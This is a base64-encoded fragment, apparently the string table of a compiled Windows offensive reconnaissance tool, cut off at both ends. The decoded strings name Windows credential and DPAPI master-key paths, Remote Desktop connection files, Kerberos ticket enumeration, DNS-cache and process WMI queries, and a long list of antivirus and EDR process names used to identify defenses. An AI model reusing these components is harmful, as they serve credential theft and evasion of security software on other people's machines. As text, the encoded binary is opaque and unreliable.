DkAQQAtAEYAYQAtAGYAXQB7ADQAfQBbAC0AXQBbADAALQA5AEEALQBGAGEALQBmAF0AewA0AH0AWwAtAF0AWwAwAC0AOQBBAC0ARgBhAC0AZgBdAHsANAB9AFsALQBdAFsAMAAtADkAQQAtAEYAYQAtAGYAXQB7ADEAMgB9AAETTQBhAHMAdABlAHIASwBlAHkAAFF7ADAAfQBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABNAGkAYwByAG8AcwBvAGYAdABcAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwBcAABVewAwAH0AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAQwByAGUAZABlAG4AdABpAGEAbABzAFwAABFDAHIAZQBkAEYAaQBsAGUAAICLewAwAH0AXABTAHkAcwB0AGUAbQAzADIAXABjAG8AbgBmAGkAZwBcAHMAeQBzAHQAZQBtAHAAcgBvAGYAaQBsAGUAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwATQBpAGMAcgBvAHMAbwBmAHQAXABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAICbewAwAH0AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwATQBpAGMAcgBvAHMAbwBmAHQAXABSAGUAbQBvAHQAZQAgAEQAZQBzAGsAdABvAHAAIABDAG8AbgBuAGUAYwB0AGkAbwBuACAATQBhAG4AYQBnAGUAcgBcAFIARABDAE0AYQBuAC4AcwBlAHQAdABpAG4AZwBzAAAXRgBpAGwAZQBzAFQAbwBPAHAAZQBuAAAVUgBEAEMATQBhAG4ARgBpAGwAZQAAFS4AUgBEAEcAIABGAGkAbABlAHMAACdVAHMAZQByADMAMgBMAG8AZwBvAG4AUAByAG8AYwBlAHMAcwBzAAARdwBpAG4AbABvAGcAbwBuAAAnTgBUACAAQQBVAFQASABPAFIASQBUAFkAXABTAFkAUwBUAEUATQAAEWsAZQByAGIAZQByAG8AcwAARyAAIAAgACAAWwAqAF0AIABFAG4AdQBtAGUAcgBhAHQAZQBkACAAewAwAH0AIAB0AGkAYwBrAGUAdAAoAHMAKQA6AA0ACgAAI1UAcwBlAHIAUAByAGkAbgBjAGkAcABhAGwATgBhAG0AZQAAFXMAZQByAHYAZQByAE4AYQBtAGUAABNSAGUAYQBsAG0ATgBhAG0AZQAAE1MAdABhAHIAdABUAGkAbQBlAAAPRQBuAGQAVABpAG0AZQAAE1IAZQBuAGUAdwBUAGkAbQBlAAAdRQBuAGMAcgB5AHAAdABpAG8AbgBUAHkAcABlAAAXVABpAGMAawBlAHQARgBsAGEAZwBzAAAXUwBlAHIAdgBpAGMAZQBOAGEAbQBlAAAVVABhAHIAZwBlAHQATgBhAG0AZQAAFUMAbABpAGUAbgB0AE4AYQBtAGUAABVEAG8AbQBhAGkAbgBOAGEAbQBlAAAhVABhAHIAZwBlAHQARABvAG0AYQBpAG4ATgBhAG0AZQAAHVMAZQBzAHMAaQBvAG4ASwBlAHkAVAB5AHAAZQAAIUIAYQBzAGUANgA0AFMAZQBzAHMAaQBvAG4ASwBlAHkAACNLAGUAeQBFAHgAcABpAHIAYQB0AGkAbwBuAFQAaQBtAGUAABVSAGUAbgBlAHcAVQBuAHQAaQBsAAARVABpAG0AZQBTAGsAZQB3AAAjRQBuAGMAbwBkAGUAZABUAGkAYwBrAGUAdABTAGkAegBlAAAnQgBhAHMAZQA2ADQARQBuAGMAbwBkAGUAZABUAGkAYwBrAGUAdAAAgIcgACAAWwBYAF0AIABFAHgAYwBlAHAAdABpAG8AbgA6ACAAewAwAH0ACgAgAFQAcgB5AGkAbgBnACAAdABvACAAYwBoAGUAYwBrACAAaQBmACAAZABvAG0AYQBpAG4AIABpAHMAIABqAG8AaQBuAGUAZAAgAHUAcwBpAG4AZwAgAFcATQBJAABFUwBlAGwAZQBjAHQAIAAqACAAZgByAG8AbQAgAFcAaQBuADMAMgBfAEMAbwBtAHAAdQB0AGUAcgBTAHkAcwB0AGUAbQAADUQAbwBtAGEAaQBuAABLXABXACoAKABbAGEALQB6AF0AOgBcAFwALgArAD8AKABcAC4AWwBhAC0AegBBAC0AWgAwAC0AOQBfAC0AXQArACkAKQBcAFcAKgABE3sAMAB9ACAAWwB7ADEAfQBdAAATQQBsAGwAQQBjAGMAZQBzAHMAABVHAGUAbgBlAHIAaQBjAEEAbABsAAAXRgB1AGwAbABDAG8AbgB0AHIAbwBsAAAbVABhAGsAZQBPAHcAbgBlAHIAcwBoAGkAcAAAGUcAZQBuAGUAcgBpAGMAVwByAGkAdABlAAArVwByAGkAdABlAEQAYQB0AGEALwBDAHIAZQBhAHQAZQBGAGkAbABlAHMAAA1NAG8AZABpAGYAeQAAC1cAcgBpAHQAZQAAI0MAaABhAG4AZwBlAFAAZQByAG0AaQBzAHMAaQBvAG4AcwAADUQAZQBsAGUAdABlAAA5RABlAGwAZQB0AGUAUwB1AGIAZABpAHIAZQBjAHQAbwByAGkAZQBzAEEAbgBkAEYAaQBsAGUAcwAAOUEAcABwAGUAbgBkAEQAYQB0AGEALwBDAHIAZQBhAHQAZQBEAGkAcgBlAGMAdABvAHIAaQBlAHMAAB9XAHIAaQB0AGUAQQB0AHQAcgBpAGIAdQB0AGUAcwAAL1cAcgBpAHQAZQBFAHgAdABlAG4AZABlAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAAC1MAdABhAHIAdAAACVMAdABvAHAAAC1FAHIAcgBvAHIAIABpAG4AIABQAGUAcgBtAEkAbgB0ADIAUwB0AHIAOgAgAAAZXgBNAGkAYwByAG8AcwBvAGYAdAAuACoAAIDJLgAqAFQAaABpAHMAIABhAHMAcwBlAG0AYgBsAHkAIABpAHMAIABiAHUAaQBsAHQAIABiAHkAIABhACAAcgB1AG4AdABpAG0AZQAgAG4AZQB3AGUAcgAgAHQAaABhAG4AIAB0AGgAZQAgAGMAdQByAHIAZQBuAHQAbAB5ACAAbABvAGEAZABlAGQAIAByAHUAbgB0AGkAbQBlACAAYQBuAGQAIABjAGEAbgBuAG8AdAAgAGIAZQAgAGwAbwBhAGQAZQBkAC4AKgAAT14AXABXACoAKABbAGEALQB6AF0AOgBcAFwALgArAD8AKABcAC4AZQB4AGUAfABcAC4AZABsAGwAfABcAC4AcwB5AHMAKQApAFwAVwAqAAEJLgBlAHgAZQAACS4AZABsAGwAAAkuAHMAeQBzAAADJwABCwoAIAAgACAAIAAAD0EAcABwAEQAYQB0AGEAAA9jAG0AZAAuAGUAeABlAAAHLwBDACAAAAtJAG4AZABlAHgAABdQAHkAcwBpAGMAYQBsAEEAZABkAHIAAAlEAE4AUwBzAAARRwBhAHQAZQB3AGEAeQBzAAAHSQBQAHMAABFOAGUAdABtAGEAcwBrAHMAAAdhAHIAcAAAHVAAeQBzAGkAYwBhAGwAQQBkAGQAcgBJAG4AaQAAAzoAAE0gACAAWwBYAF0AIABFAHgAYwBlAHAAdABpAG8AbgAgAGEAbABsAG8AYwBhAHQAaQBuAGcAIABiAHUAZgBmAGUAcgA6ACAAewAwAH0AAEtFAHIAcgBvAHIAOgAgAE4AbwAgAGkAbgB0AGUAcgBmAGEAYwBlACAAZgBvAHUAbgBkACAAdwBpAHQAaAAgAEkAbgBkAGUAeAAgAAA5IAAgACAAIAAgACAAIAAgACAAIAB7ADAALAAtADIAMgB9AHsAMQAsAC0AMgAyAH0AewAyAH0ACgABC1AAcgBvAHQAbwAAG0wAbwBjAGEAbAAgAEEAZABkAHIAZQBzAHMAAB9GAG8AcgBlAGkAbgBnACAAQQBkAGQAcgBlAHMAcwAAC1MAdABhAHQAZQAAB1QAQwBQAAATTABpAHMAdABlAG4AaQBuAGcAAAdVAEQAUAAASUUAMgBCADMAQwA5ADcARgAtADYAQQBFADEALQA0ADEAQQBDAC0AOAAxADcAQQAtAEYANgBGADkAMgAxADYANgBEADcARABEAAEnQwB1AHIAcgBlAG4AdABQAHIAbwBmAGkAbABlAFQAeQBwAGUAcwAAH0YAaQByAGUAdwBhAGwAbABFAG4AYQBiAGwAZQBkAAAxRgBpAHIAZQB3AGEAbABsAEUAbgBhAGIAbABlAGQAIAAoAEQAbwBtAGEAaQBuACkAADNGAGkAcgBlAHcAYQBsAGwARQBuAGEAYgBsAGUAZAAgACgAUAByAGkAdgBhAHQAZQApAAAxRgBpAHIAZQB3AGEAbABsAEUAbgBhAGIAbABlAGQAIAAoAFAAdQBiAGwAaQBjACkAAAtSAHUAbABlAHMAABtHAGUAdABFAG4AdQBtAGUAcgBhAHQAbwByAAAPRQBuAGEAYgBsAGUAZAAACVQAcgB1AGUAAAMwAAARUAByAG8AdABvAGMAbwBsAAAfQQBwAHAAbABpAGMAYQB0AGkAbwBuAE4AYQBtAGUAAB1MAG8AYwBhAGwAQQBkAGQAcgBlAHMAcwBlAHMAABVMAG8AYwBhAGwAUABvAHIAdABzAAAfUgBlAG0AbwB0AGUAQQBkAGQAcgBlAHMAcwBlAHMAABdSAGUAbQBvAHQAZQBQAG8AcgB0AHMAABNEAGkAcgBlAGMAdABpAG8AbgAAEVAAcgBvAGYAaQBsAGUAcwAAC0EATABMAE8AVwAAAzEAAAlEAEUATgBZAAAFSQBOAAAHTwBVAFQAAAM2AAAPQQBwAHAATgBhAG0AZQAAC0wAbwBjAGEAbAAAD3sAMAB9ADoAewAxAH0AAA1SAGUAbQBvAHQAZQAABVwAXAAAL1wAcgBvAG8AdABcAGMAaQBtAHYAMgA6AFcAaQBuADMAMgBfAFMAaABhAHIAZQAAG0cAZQB0AEEAYwBjAGUAcwBzAE0AYQBzAGsAABdSAGUAdAB1AHIAbgBWAGEAbAB1AGUAABdQAGUAcgBtAGkAcwBzAGkAbwBuAHMAACVyAG8AbwB0AFwAcwB0AGEAbgBkAGEAcgBkAGMAaQBtAHYAMgAAQ1MARQBMAEUAQwBUACAAKgAgAEYAUgBPAE0AIABNAFMARgBUAF8ARABOAFMAQwBsAGkAZQBuAHQAQwBhAGMAaABlAAALRQBuAHQAcgB5AAAJRABhAHQAYQAABy4ALgAuAACAwyAAIABbAFgAXQAgACcATQBTAEYAVABfAEQATgBTAEMAbABpAGUAbgB0AEMAYQBjAGgAZQAnACAAVwBNAEkAIABjAGwAYQBzAHMAIAB1AG4AYQB2AGEAaQBsAGEAYgBsAGUAIAAoAG0AaQBuAGkAbQB1AG0AIABzAHUAcABwAG8AcgB0AGUAZAAgAHYAZQByAHMAaQBvAG4AcwAgAG8AZgAgAFcAaQBuAGQAbwB3AHMAOgAgADgALwAyADAAMQAyACkAAYCBUwBFAEwARQBDAFQAIABQAHIAbwBjAGUAcwBzAEkAZAAsACAARQB4AGUAYwB1AHQAYQBiAGwAZQBQAGEAdABoACwAIABDAG8AbQBtAGEAbgBkAEwAaQBuAGUAIABGAFIATwBNACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAAEWkAcwBEAG8AdABOAGUAdAAAE1AAcgBvAGMAZQBzAHMASQBEAAAdRQB4AGUAYwB1AHQAYQBiAGwAZQBQAGEAdABoAAAPUAByAG8AZAB1AGMAdAAAC08AdwBuAGUAcgAAF0MAbwBtAG0AYQBuAGQATABpAG4AZQAAGW0AYwBzAGgAaQBlAGwAZAAuAGUAeABlAAATTQBjAEEAZgBlAGUAIABBAFYAABt3AGkAbgBkAGUAZgBlAG4AZAAuAGUAeABlAAAnVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgAgAEEAVgAAF00AUwBBAFMAQwB1AGkALgBlAHgAZQAAGU0AUwBBAFMAQwB1AGkATAAuAGUAeABlAAAXbQBzAG0AcABlAG4AZwAuAGUAeABlAAAXbQBzAG0AcABzAHYAYwAuAGUAeABlAAARVwBSAFMAQQAuAGUAeABlAAAVVwBlAGIAUgBvAG8AdAAgAEEAVgAAHXMAYQB2AHMAZQByAHYAaQBjAGUALgBlAHgAZQAAE1MAbwBwAGgAbwBzACAAQQBWAAAVVABNAEMAQwBTAEYALgBlAHgAZQAAHVQAcgBlAG4AZAAgAE0AaQBjAHIAbwAgAEEAVgAALXMAeQBtAGEAbgB0AGUAYwAgAGEAbgB0AGkAdgBpAHIAdQBzAC4AZQB4AGUAABdTAHkAbQBhAG4AdABlAGMAIABBAFYAABFtAGIAYQBlAC4AZQB4AGUAADNNAGEAbAB3AGEAcgBlAEIAeQB0AGUAcwAgAEEAbgB0AGkALQBFAHgAcABsAG8AaQB0AAEVcABhAHIAaQB0AHkALgBlAHgAZQAAO0IAaQB0ADkAIABhAHAAcABsAGkAYwBhAHQAaQBvAG4AIAB3AGgAaQB0AGUAbABpAHMAdABpAG4AZwAADWMAYgAuAGUAeABlAABBQwBhAHIAYgBvAG4AIABCAGwAYQBjAGsAIABiAGUAaABhAHYAaQBvAHIAYQBsACAAYQBuAGEAbAB5AHMAaQBzAAAdYgBkAHMALQB2AGkAcwBpAG8AbgAuAGUAeABlAAE9QgBEAFMAIABWAGkAcwBpAG8AbgAgAGIAZQBoAGEAdgBpAG8AcgBhAGwAIABhAG4AYQBsAHkAcwBpAHMAABtUAHIAaQB1AG0AZgBhAG4AdAAuAGUAeABlAAA7VAByAGkAdQBtAGYAYQBuAHQAIABiAGUAaABhAHYAaQBvAHIAYQBsACAAYQBuAGEAbAB5AHMAaQBzAAAZQwBTAEYAYQBsAGMAbwBuAC4AZQB4AGUAAC1DAHIAbwB3AGQAUwB0AHIAaQBrAGUAIABGAGEAbABjAG8AbgAgAEUARABSAAATbwBzAHMAZQBjAC4AZQB4AGUAADNPAFMAUwBFAEMAIABpAG4AdAByAHUAcwBpAG8AbgAgAGQAZQB0AGUAYwB0AGkAbwBuAAATVABtAFAAZgB3AC4AZQB4AGUAAClUAHIAZQBuAGQAIABNAGkAYwByAG8AIABmAGkAcgBlAHcAYQBsAGwAABdkAGcAYQBnAGUAbgB0AC4AZQB4AGUAADtWAGUAcgBkAGEAcwB5AHMAIABEAGkAZwBpAHQAYQBsACAARwB1AGEAcgBkAGkAYQBuACAARABMAFAAABNrAHYAbwBvAHAALgBlAHgAZQAAGSAARABMAFAAIABwAHIAbwBjAGUAcwBzAAAXQQBBAFcAVAByAGEAeQAuAGUAeABlAAAZYQBjAGsAdwBpAG4AMwAyAC4AZQB4AGUAABlBAGQALQBBAHcAYQByAGUALgBlAHgAZQABF2EAZABhAHcAYQByAGUALgBlAHgAZQAAGWEAZAB2AHgAZAB3AGkAbgAuAGUAeABlAAAZYQBnAGUAbgB0AHMAdgByAC4AZQB4AGUAABVhAGcAZQBuAHQAdwAuAGUAeABlAAAZYQBsAGUAcgB0AHMAdgBjAC4AZQB4AGUAABVhAGwAZQB2AGkAcgAuAGUAeABlAAAZYQBsAG8AZwBzAGUAcgB2AC4AZQB4AGUAABVhAG0AbwBuADkAeAAuAGUAeABlAAAfYQBuAHQAaQAtAHQAcgBvAGoAYQBuAC4AZQB4AGUAARthAG4AdABpAHYAaQByAHUAcwAuAGUAeABlAAARYQBuAHQAcwAuAGUAeABlAAAdYQBwAGkAbQBvAG4AaQB0AG8AcgAuAGUAeABlAAAZYQBwAGwAaQBjAGEAMwAyAC4AZQB4AGUAABlhAHAAdgB4AGQAdwBpAG4ALgBlAHgAZQAAD2EAcgByAC4AZQB4AGUAABNhAHQAYwBvAG4ALgBlAHgAZQAAF2EAdABnAHUAYQByAGQALgBlAHgAZQAAGWEAdAByAG8ANQA1AGUAbgAuAGUAeABlAAAbYQB0AHUAcABkAGEAdABlAHIALgBlAHgAZQAAF2EAdAB3AGEAdABjAGgALgBlAHgAZQAADWEAdQAuAGUAeABlAAAXYQB1AHAAZABhAHQAZQAuAGUAeABlAAAzYQB1AHQAbwAtAHAAcgBvAHQAZQBjAHQALgBuAGEAdgA4ADAAdAByAHkALgBlAHgAZQABGWEAdQB0AG8AZABvAHcAbgAuAGUAeABlAAAZYQB1AHQAbwByAHUAbgBzAC4AZQB4AGUAABthAHUAdABvAHIAdQBuAHMAYwAuAGUAeABlAAAbYQB1AHQAbwB0AHIAYQBjAGUALgBlAHgAZQAAHWEAdQB0AG8AdQBwAGQAYQB0AGUALgBlAHgAZQAAGWEAdgBjAG8AbgBzAG8AbAAuAGUAeABlAAATYQB2AGUAMwAyAC4AZQB4AGUAABdhAHYAZwBjAGMAMwAyAC4AZQB4AGUAABdhAHYAZwBjAHQAcgBsAC4AZQB4AGUAABVhAHYAZwBlAG0AYwAuAGUAeABlAAATYQB2AGcAbgB0AC4AZQB4AGUAABVhAHYAZwByAHMAeAAuAGUAeABlAAAXYQB2AGcAcwBlAHIAdgAuAGUAeABlAAAZYQB2AGcAcwBlAHIAdgA5AC4AZQB4AGUAABdhAHYAZwB1AGEAcgBkAC4AZQB4AGUAABlhAHYAZwB3AGQAcwB2AGMALgBlAHgAZQAAE2EAdgBnAHUAaQAuAGUAeABlAAARYQB2AGcAdwAuAGUAeABlAAAVYQB2AGsAcABvAHAALgBlAHgAZQAAF2EAdgBrAHMAZQByAHYALgBlAHgAZQAAHWEAdgBrAHMAZQByAHYAaQBjAGUALgBlAHgAZQAAGWEAdgBrAHcAYwB0AGwAOQAuAGUAeABlAAAZYQB2AGwAdABtAGEAaQBuAC4AZQB4AGUAABFhAHYAbgB0AC4AZQB4AGUAAA9hAHYAcAAuAGUAeABlAAATYQB2AHAAMwAyAC4AZQB4AGUAABNhAHYAcABjAGMALgBlAHgAZQAAGWEAdgBwAGQAbwBzADMAMgAuAGUAeABlAAARYQB2AHAAbQAuAGUAeABlAAAXYQB2AHAAdABjADMAMgAuAGUAeABlAAAVYQB2AHAAdQBwAGQALgBlAHgAZQAAG2EAdgBzAGMAaABlAGQAMwAyAC4AZQB4AGUAABlhAHYAcwB5AG4AbQBnAHIALgBlAHgAZQAAE2EAdgB3AGkAbgAuAGUAeABlAAAXYQB2AHcAaQBuADkANQAuAGUAeABlAAAXYQB2AHcAaQBuAG4AdAAuAGUAeABlAAAVYQB2AHcAdQBwAGQALgBlAHgAZQAAGWEAdgB3AHUAcABkADMAMgAuAGUAeABlAAAZYQB2AHcAdQBwAHMAcgB2AC4AZQB4AGUAACFhAHYAeABtAG8AbgBpAHQAbwByADkAeAAuAGUAeABlAAAhYQB2AHgAbQBvAG4AaQB0AG8AcgBuAHQALgBlAHgAZQAAF2EAdgB4AHEAdQBhAHIALgBlAHgAZQAAF2IAYQBjAGsAdwBlAGIALgBlAHgAZQAAGWIAYQByAGcAYQBpAG4AcwAuAGUAeABlAAAnYgBkAF8AcAByAG8AZgBlAHMAcwBpAG8AbgBhAGwALgBlAHgAZQAAFWIAZQBhAGcAbABlAC4AZQB4AGUAABFiAGUAbAB0AC4AZQB4AGUAABNiAGkAZABlAGYALgBlAHgAZQAAG2IAaQBkAHMAZQByAHYAZQByAC4AZQB4AGUAABNiAGkAcABjAHAALgBlAHgAZQAAJWIAaQBwAGMAcABlAHYAYQBsAHMAZQB0AHUAcAAuAGUAeABlAAARYgBpAHMAcAAuAGUAeABlAAAVYgBsAGEAYwBrAGQALgBlAHgAZQAAGWIAbABhAGMAawBpAGMAZQAuAGUAeABlAAATYgBsAGkAbgBrAC4AZQB4AGUAABFiAGwAcwBzAC4AZQB4AGUAABliAG8AbwB0AGMAbwBuAGYALgBlAHgAZQAAGWIAbwBvAHQAdwBhAHIAbgAuAGUAeABlAAATYgBvAHIAZwAyAC4AZQB4AGUAAA9iAHAAYwAuAGUAeABlAAAVYgByAGEAcwBpAGwALgBlAHgAZQAAE2IAcwAxADIAMAAuAGUAeABlAAAVYgB1AG4AZABsAGUALgBlAHgAZQAAD2IAdgB0AC4AZQB4AGUAABNjAGMAYQBwAHAALgBlAHgAZQAAGWMAYwBlAHYAdABtAGcAcgAuAGUAeABlAAAZYwBjAHAAeAB5AHMAdgBjAC4AZQB4AGUAABljAGMAUwB2AGMASABzAHQALgBlAHgAZQAAD2MAZABwAC4AZQB4AGUAAA9jAGYAZAAuAGUAeABlAAAVYwBmAGcAdwBpAHoALgBlAHgAZQAAGWMAZgBpAGEAZABtAGkAbgAuAGUAeABlAAAZYwBmAGkAYQB1AGQAaQB0AC4AZQB4AGUAABVjAGYAaQBuAGUAdAAuAGUAeABlAAAZYwBmAGkAbgBlAHQAMwAyAC4AZQB4AGUAABVjAGwAYQB3ADkANQAuAGUAeABlAAAZYwBsAGEAdwA5ADUAYwBmAC4AZQB4AGUAABNjAGwAZQBhAG4ALgBlAHgAZQAAF2MAbABlAGEAbgBlAHIALgBlAHgAZQAAGWMAbABlAGEAbgBlAHIAMwAuAGUAeABlAAAXYwBsAGUAYQBuAHAAYwAuAGUAeABlAAAXYwBsAGUAYQBuAHUAcAAuAGUAeABlAAATYwBsAGkAYwBrAC4AZQB4AGUAABljAG0AZABhAGcAZQBuAHQALgBlAHgAZQAAFWMAbQBlAHMAeQBzAC4AZQB4AGUAABljAG0AZwByAGQAaQBhAG4ALgBlAHgAZQAAF2MAbQBvAG4AMAAxADYALgBlAHgAZQAAK2MAbwBuAG4AZQBjAHQAaQBvAG4AbQBvAG4AaQB0AG8AcgAuAGUAeABlAAAPYwBwAGQALgBlAHgAZQAAGWMAcABmADkAeAAyADAANgAuAGUAeABlAAAZYwBwAGYAbgB0ADIAMAA2AC4AZQB4AGUAABFjAHQAcgBsAC4AZQB4AGUAAA1jAHYALgBlAHgAZQAAF2MAdwBuAGIAMQA4ADEALgBlAHgAZQAAGWMAdwBuAHQAZAB3AG0AbwAuAGUAeABlAAAbQwB5AGwAYQBuAGMAZQBVAEkALgBlAHgAZQAAG0MAeQBQAHIAbwB0AGUAYwB0AC4AZQB4AGUAABlDAHkAVQBwAGQAYQB0AGUALgBlAHgAZQAAGWMAeQBzAGUAcgB2AGUAcgAuAGUAeABlAAAVYwB5AHQAcgBhAHkALgBlAHgAZQAAI0MAeQB2AGUAcgBhAFMAZQByAHYAaQBjAGUALgBlAHgAZQAAH2QAYQB0AGUAbQBhAG4AYQBnAGUAcgAuAGUAeABlAAATZABjAG8AbQB4AC4AZQB4AGUAABlkAGUAZgBhAGwAZQByAHQALgBlAHgAZQAAHWQAZQBmAHMAYwBhAG4AZwB1AGkALgBlAHgAZQAAGWQAZQBmAHcAYQB0AGMAaAAuAGUAeABlAAAVZABlAHAAdQB0AHkALgBlAHgAZQAAEWQAaQB2AHgALgBlAHgAZQAAGWQAZwBwAHIAbwBtAHAAdAAuAGUAeABlAAAbRABnAFMAZQByAHYAaQBjAGUALgBlAHgAZQAAGWQAbABsAGMAYQBjAGgAZQAuAGUAeABlAAAVZABsAGwAcgBlAGcALgBlAHgAZQAAE2QAbwBvAHIAcwAuAGUAeABlAAAPZABwAGYALgBlAHgAZQAAGWQAcABmAHMAZQB0AHUAcAAuAGUAeABlAAATZABwAHAAcwAyAC4AZQB4AGUAABlkAHIAdwBhAHQAcwBvAG4ALgBlAHgAZQAAF2QAcgB3AGUAYgAzADIALgBlAHgAZQAAGWQAcgB3AGUAYgB1AHAAdwAuAGUAeABlAAAZZABzAHMAYQBnAGUAbgB0AC4AZQB4AGUAABdkAHUAbQBwAGMAYQBwAC4AZQB4AGUAABNkAHYAcAA5ADUALgBlAHgAZQAAF2QAdgBwADkANQBfADAALgBlAHgAZQAAGWUAYwBlAG4AZwBpAG4AZQAuAGUAeABlAAAXZQBmAHAAZQBhAGQAbQAuAGUAeABlAAARZQBnAHUAaQAuAGUAeABlAAARZQBrAHIAbgAuAGUAeABlAAAdZQBtAGUAdABfAGEAZwBlAG4AdAAuAGUAeABlAAAhZQBtAGUAdABfAHMAZQByAHYAaQBjAGUALgBlAHgAZQAAEWUAbQBzAHcALgBlAHgAZQAAIWUAbgBnAGkAbgBlAHMAZQByAHYAZQByAC4AZQB4AGUAAA9lAG4AdAAuAGUAeABlAAATZQBzAGEAZgBlAC4AZQB4AGUAABllAHMAYwBhAG4AaABuAHQALgBlAHgAZQAAGWUAcwBjAGEAbgB2ADkANQAuAGUAeABlAAAZZQBzAHAAdwBhAHQAYwBoAC4AZQB4AGUAABllAHQAaABlAHIAZQBhAGwALgBlAHgAZQAAHWUAdAByAHUAcwB0AGMAaQBwAGUALgBlAHgAZQAAEWUAdgBwAG4ALgBlAHgAZQAAKWUAeABhAG4AdABpAHYAaQByAHUAcwAtAGMAbgBlAHQALgBlAHgAZQABGWUAeABlAC4AYQB2AHgAdwAuAGUAeABlAAAVZQB4AHAAZQByAHQALgBlAHgAZQAAF2UAeABwAGwAbwByAGUALgBlAHgAZQAAGWYALQBhAGcAbgB0ADkANQAuAGUAeABlAAEVZgAtAHAAcgBvAHQALgBlAHgAZQABGWYALQBwAHIAbwB0ADkANQAuAGUAeABlAAEXZgAtAHMAdABvAHAAdwAuAGUAeABlAAEXZgBhAG0AZQBoADMAMgAuAGUAeABlAAARZgBhAHMAdAAuAGUAeABlAAATZgBjAGgAMwAyAC4AZQB4AGUAABdmAGMAYQBnAHMAdwBkAC4AZQB4AGUAACFNAGMAQQBmAGUAZQAgAEQATABQACAAQQBnAGUAbgB0AAATZgBjAGEAZwBzAC4AZQB4AGUAABNmAGkAaAAzADIALgBlAHgAZQAAGWYAaQBuAGQAdgBpAHIAdQAuAGUAeABlAAAXZgBpAHIAZQBzAHYAYwAuAGUAeABlAABBTQBjAEEAZgBlAGUAIABIAG8AcwB0ACAASQBuAHQAcgB1AHMAaQBvAG4AIABQAHIAZQB2AGUAbgB0AGkAbwBuAAAZZgBpAHIAZQB0AHIAYQB5AC4AZQB4AGUAABlmAGkAcgBlAHcAYQBsAGwALgBlAHgAZQAAFWYAbgByAGIAMwAyAC4AZQB4AGUAABVmAHAALQB3AGkAbgAuAGUAeABlAAEhZgBwAC0AdwBpAG4AXwB0AHIAaQBhAGwALgBlAHgAZQABE2YAcAByAG8AdAAuAGUAeABlAAApZgByAGEAbQBlAHcAbwByAGsAcwBlAHIAdgBpAGMAZQAuAGUAeABlAAAXZgByAG0AaQBuAHMAdAAuAGUAeABlAAAPZgByAHcALgBlAHgAZQAAEWYAcwBhAGEALgBlAHgAZQAAEWYAcwBhAHYALgBlAHgAZQAAFWYAcwBhAHYAMwAyAC4AZQB4AGUAACFmAHMAYQB2ADUAMwAwAHMAdABiAHkAYgAuAGUAeABlAAAhZgBzAGEAdgA1ADMAMAB3AHQAYgB5AGIALgBlAHgAZQAAFWYAcwBhAHYAOQA1AC4AZQB4AGUAABVmAHMAZwBrADMAMgAuAGUAeABlAAATZgBzAG0AMwAyAC4AZQB4AGUAABVmAHMAbQBhADMAMgAuAGUAeABlAAAVZgBzAG0AYgAzADIALgBlAHgAZQAAE2cAYQB0AG8AcgAuAGUAeABlAAAVZwBiAG0AZQBuAHUALgBlAHgAZQAAFWcAYgBwAG8AbABsAC4AZQB4AGUAABlnAGUAbgBlAHIAaQBjAHMALgBlAHgAZQAAD2cAbQB0AC4AZQB4AGUAABNnAHUAYQByAGQALgBlAHgAZQAAGWcAdQBhAHIAZABkAG8AZwAuAGUAeABlAAAnaABhAGMAawB0AHIAYQBjAGUAcgBzAGUAdAB1AHAALgBlAHgAZQAAFWgAYgBpAG4AcwB0AC4AZQB4AGUAABNoAGIAcwByAHYALgBlAHgAZQAAHUgAaQBqAGEAYwBrAFQAaABpAHMALgBlAHgAZQAAFWgAaQBwAHMAdgBjAC4AZQB4AGUAABdIAGkAcABNAGcAbQB0AC4AZQB4AGUAAEFNAGMAQQBmAGUAZQAgAEgAbwBzAHQAIABJAG4AdAByAHUAcwBpAG8AbgAgAFAAcgBvAHQAZQBjAHQAaQBvAG4AABloAG8AdABhAGMAdABpAG8ALgBlAHgAZQAAGWgAbwB0AHAAYQB0AGMAaAAuAGUAeABlAAATaAB0AGwAbwBnAC4AZQB4AGUAABdoAHQAcABhAHQAYwBoAC4AZQB4AGUAABFoAHcAcABlAC4AZQB4AGUAABFoAHgAZABsAC4AZQB4AGUAABNoAHgAaQB1AGwALgBlAHgAZQAAFWkAYQBtAGEAcABwAC4AZQB4AGUAABdpAGEAbQBzAGUAcgB2AC4AZQB4AGUAABlpAGEAbQBzAHQAYQB0AHMALgBlAHgAZQAAFWkAYgBtAGEAcwBuAC4AZQB4AGUAABdpAGIAbQBhAHYAcwBwAC4AZQB4AGUAABlpAGMAbABvAGEAZAA5ADUALgBlAHgAZQAAGWkAYwBsAG8AYQBkAG4AdAAuAGUAeABlAAATaQBjAG0AbwBuAC4AZQB4AGUAABlpAGMAcwB1AHAAcAA5ADUALgBlAHgAZQAAGWkAYwBzAHUAcABwAG4AdAAuAGUAeABlAAARaQBkAGwAZQAuAGUAeABlAAATaQBlAGQAbABsAC4AZQB4AGUAABlpAGUAZAByAGkAdgBlAHIALgBlAHgAZQAAE2kAZgBhAGMAZQAuAGUAeABlAAAXaQBmAHcAMgAwADAAMAAuAGUAeABlAAAZaQBuAGUAdABsAG4AZgBvAC4AZQB4AGUAABNpAG4AZgB1AHMALgBlAHgAZQAAFWkAbgBmAHcAaQBuAC4AZQB4AGUAABFpAG4AaQB0AC4AZQB4AGUAABVpAG4AdABkAGUAbAAuAGUAeABlAAAVaQBuAHQAcgBlAG4ALgBlAHgAZQAAF2kAbwBtAG8AbgA5ADgALgBlAHgAZQAAFWkAcwB0AHMAdgBjAC4AZQB4AGUAABVqAGEAbQBtAGUAcgAuAGUAeABlAAAXagBkAGIAZwBtAHIAZwAuAGUAeABlAAARagBlAGQAaQAuAGUAeABlAAAhawBhAHYAbABpAHQAZQA0ADAAZQBuAGcALgBlAHgAZQAAIWsAYQB2AHAAZQByAHMANAAwAGUAbgBnAC4AZQB4AGUAABNrAGEAdgBwAGYALgBlAHgAZQAAE2sAYQB6AHoAYQAuAGUAeABlAAAbawBlAGUAbgB2AGEAbAB1AGUALgBlAHgAZQAAL2sAZQByAGkAbwAtAHAAZgAtADIAMQAzAC0AZQBuAC0A